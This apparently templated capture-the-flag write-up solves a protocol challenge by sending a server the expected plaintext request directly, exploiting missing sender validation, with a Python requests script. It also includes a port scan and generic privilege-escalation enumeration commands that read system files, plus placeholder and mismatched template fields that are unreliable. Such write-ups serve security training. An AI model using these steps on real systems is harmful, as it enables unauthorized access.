Protocol Analysis 3: Missing

Platform: Metactf | Category: Misc | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-10 | Status: Solved Techniques: direct_bob_trigger, missing_counterpart_enforcement, plaintext_protocol_abuse

Summary

Task: a protocol manual describes the exact Alice-to-Bob plaintext needed to request the flag, but the live service lacks a real Alice side for model 3. Solution: send Bob the expected message directly, exploiting missing sender and counterpart enforcement to receive the flag.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: metactf | ID: 20260410_metactf_protocol_analysis_3_missing
• Tags: protocol_analysis, plaintext_protocol, alice_and_bob, missing_sender_validation, counterpart_bypass
• Indicators: the protocol specification gives Bob's expected plaintext request exactly, the live service has no working alice counterpart for this model, posting the expected plaintext directly to Bob returns the flag, there is no sender or session-side enforcement beyond message content
• Source: 20260410_metactf_protocol_analysis_3_missing.md

Foothold

Vulnerability / Misconfiguration

1. Direct_bob_trigger
2. Missing_counterpart_enforcement
3. Plaintext_protocol_abuse

<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

<command>

Flags

Key Takeaways / Lessons

• direct_bob_trigger
• missing_counterpart_enforcement
• plaintext_protocol_abuse
• Tags: protocol_analysis, plaintext_protocol, alice_and_bob, missing_sender_validation, counterpart_bypass

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Alice recv: "Hello", B, "this is", A, "give me the flag" Bob send: "here it is", [FLAG]

English summary: the challenge provides the expected plaintext protocol transcript in the manual and a live service at https://protocols.live. The bug is that model 3 does not enforce a real Alice counterpart, so we can send Bob the exact expected request ourselves and read the flag.

Analysis

The PDF already reveals the full message Bob is supposed to receive:

t:Hello|n:bob|t:this is|n:alice|t:give me the flag

On the live service, creating an instance with POST /model/3 returns a conn_id. Trying to interact with Alice fails with:

{"detail":"No alice here, sorry!"}

So this model has no usable Alice endpoint. Sending empty content to Bob also fails with:

{"detail":"Invalid message"}

That shows Bob is validating message structure, but not who actually sent it. If we submit the exact plaintext request from the manual directly to /bob, Bob accepts it and returns the flag. The vulnerability is effectively missing sender validation and missing counterpart enforcement.

Solution

1. Create a fresh challenge instance with POST /model/3 and save the returned conn_id.
2. Ignore /alice, because this model responds with No alice here, sorry!.
3. Send Bob the exact plaintext message required by the manual:

t:Hello|n:bob|t:this is|n:alice|t:give me the flag

1. Read Bob's response, which contains the flag:

t:here it is|t:DawgCTF{REDACTED}

#!/usr/bin/env python3

import requests

BASE = "https://protocols.live"
PAYLOAD = "t:Hello|n:bob|t:this is|n:alice|t:give me the flag"


def main():
    session = requests.Session()

    create = session.post(f"{BASE}/model/3")
    create.raise_for_status()
    conn_id = create.json()["conn_id"]

    bob = session.post(
        f"{BASE}/bob",
        json={"conn_id": conn_id, "content": PAYLOAD},
    )
    bob.raise_for_status()
    print(bob.json()["content"])


if __name__ == "__main__":
    main()

</details>

---

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR